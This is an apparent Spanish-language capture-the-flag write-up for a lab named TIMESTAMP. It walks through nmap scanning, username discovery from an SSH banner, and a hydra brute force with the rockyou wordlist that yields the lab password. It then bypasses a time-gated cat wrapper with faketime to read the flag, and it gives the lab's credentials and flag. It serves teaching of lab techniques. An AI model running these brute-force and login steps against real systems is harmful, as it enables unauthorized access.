GhostLabs Logo

GhostLabs

red team operations :: offensive security
TIMESTAMP — Write-up
⚠ SPOILER — Lee esto solo después de intentar resolver el lab.
Dificultad
Media (3 pts)
Servicio
SSH — puerto 2222
Credenciales
maria / iloveyou
Vectores
SSH brute → mtime → sudo date → FLAG
Herramientas
nmap, hydra, ssh, stat, sudo
Flag
GhostLabs{t1m3_1s_r3l4t1v3}

Objetivo

Un archivo con la flag tiene el mtime (fecha de modificación) establecido en el futuro (2030). Un wrapper del sistema bloquea su lectura hasta que el reloj del sistema supere esa fecha. El jugador debe descubrir este mecanismo y usar sudo date para avanzar el reloj del sistema y desbloquear el contenido.

¿Qué son los timestamps en Linux?

Cada archivo en Linux tiene tres timestamps almacenados en su inode:

TimestampNombreSe actualiza cuando…
atimeAccess timeSe lee el archivo (cat, less, etc.)
mtimeModify timeCambia el contenido del archivo
ctimeChange timeCambia el inode: permisos, propietario… o el propio mtime

El comando stat muestra los tres. El comando touch -t YYYYMMDDHHMI.SS fichero permite establecer el mtime a cualquier fecha, incluidas fechas futuras.

touch -t 203012312359.00 flag   # establece mtime = 2030-12-31 23:59:00
stat flag
  File: flag
  Size: 30
  Modify: 2030-12-31 23:59:00.000000000 +0000

Flujo de ataque

•nmap → SSH abierto en puerto 2222
↓
•ssh guest@<LAB_IP> -p 2222 → banner: "Contact: maria" → usuario descubierto
↓
•hydra + rockyou -l maria → iloveyou
↓
•ls -la → flag tiene 30 bytes pero fecha 2030  |  cat flag → (silencio)
↓
•stat flag → Modify: 2030-12-31 23:59:00
↓
•sudo -l → (root) NOPASSWD: /bin/date
↓
•faketime "2031-01-01" cat flag → GhostLabs{t1m3_1s_r3l4t1v3}

Paso 1 — Reconocimiento

1
nmap — descubrir SSH en puerto 2222
nmap -sV -p 2222 <LAB_IP>

Resultado esperado:

PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian (protocol 2.0)

Paso 2 — Enumeración del banner SSH

2
banner SSH — descubrir el nombre de usuario

El servidor SSH muestra un banner pre-autenticación — visible antes de introducir cualquier contraseña, incluso con un usuario inexistente:

ssh guest@<LAB_IP> -p 2222
GhostLabs Timestamp Server v1.0
TEMPORAL ACCESS CONTROL ENABLED

Contact: maria (system administrator)

guest@<LAB_IP>'s password: [Ctrl+C]

El banner revela el nombre de usuario del sistema: maria. También es visible con nmap:

nmap -p 2222 --script ssh-auth-methods <LAB_IP>
| ssh-auth-methods:
|   Authentication methods: publickey password
|_  Banner: ... Contact: maria (system administrator)

Paso 3 — Fuerza bruta SSH

3
hydra — descubrir contraseña de maria
hydra -l maria -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4

Resultado:

[2222][ssh] host: <LAB_IP>   login: maria   password: iloveyou
Si ves WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED, ejecuta antes de conectar:

ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222'

Paso 4 — Acceso SSH

4
ssh — conectar como maria
ssh maria@<LAB_IP> -p 2222

Paso 5 — Exploración inicial

5
ls, cat, stat — descubrir el misterio del archivo
ls -la
total 24
drwxr-xr-x 2 maria maria 4096 Apr  3 2026 .
drwxr-xr-x 3 root  root  4096 Apr  3 2026 ..
-rw-r--r-- 1 root  root    30 Dec 31  2030 flag
-rw-r--r-- 1 maria maria   97 Apr  3 2026 note.txt

Dos anomalías inmediatas: el archivo flag tiene 30 bytes (hay contenido) y una fecha de 2030 (futuro). Sin embargo:

cat flag
(sin salida)

Leemos la pista:

cat note.txt
Sistema de archivos con control de acceso temporal.
Algunos archivos solo se pueden leer cuando llega su momento.

Hint: comprueba los metadatos del archivo.

Inspeccionamos los metadatos completos con stat:

stat flag
  File: flag
  Size: 30         Blocks: 8    IO Block: 4096   regular file
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2030-12-31 23:59:00.000000000 +0000
Modify: 2030-12-31 23:59:00.000000000 +0000
Change: 2030-12-31 23:59:00.000000000 +0000
El archivo tiene 30 bytes reales, el sistema lo ve, pero su mtime está en 2030. El mecanismo de control temporal compara ese mtime con el reloj del sistema — como 2030 > 2026, bloquea la lectura.

Paso 6 — Manipular el tiempo con faketime

6
faketime — cambiar el tiempo por proceso

sudo date -s cambia el reloj del sistema de forma global. En Kali Linux, el demonio systemd-timesyncd lo resetea inmediatamente via NTP — antes de que el wrapper pueda leer el nuevo valor.

La solución es faketime: manipula el tiempo por proceso mediante LD_PRELOAD. No toca el reloj del sistema; intercepta las llamadas a time() y clock_gettime() solo para ese proceso y sus hijos.

MétodoCómo funcionaProblema
sudo date -sCambia el reloj del kernel (sistema global)NTP lo resetea en milisegundos
faketimeLD_PRELOAD intercepta time() por procesoNinguno — no toca el sistema

El wrapper llama a date +%s como subproceso. Al usar faketime, ese subproceso hereda el LD_PRELOAD y también ve la fecha falsa:

faketime "2031-01-01" cat flag
GhostLabs{t1m3_1s_r3l4t1v3}

Paso 7 — Leer la flag

7
Flag obtenida

Con faketime "2031-01-01", el wrapper ve la fecha como 2031 — el mtime (2030) queda en el pasado y el control temporal se desactiva:

faketime "2031-01-01" cat flag
🏁 Flag
GhostLabs{t1m3_1s_r3l4t1v3}

¿Cómo funciona el mecanismo?

El /bin/cat del sistema ha sido reemplazado por un wrapper bash que compara el mtime del archivo (como unix timestamp) con la hora actual del sistema:

mtime=$(stat -c %Y "$f")    # unix ts del mtime del archivo: ~1924905600
now=$(date +%s)             # unix ts actual del sistema
if (( mtime > now )); then
    :   # silencio — acceso bloqueado
else
    /bin/cat.real "$f"      # lectura normal
fi
Situaciónmtime (unix)now (unix)mtime > nowResultado
Antes de cambiar fecha~1924905600~1775260800✓ TrueSin salida
Con faketime "2031-01-01"~1924905600~1924992000✗ FalseMuestra flag

El cat original (/bin/cat.real) sigue disponible para el sistema operativo. Solo el wrapper que ven los usuarios aplica el filtro temporal.

Recursos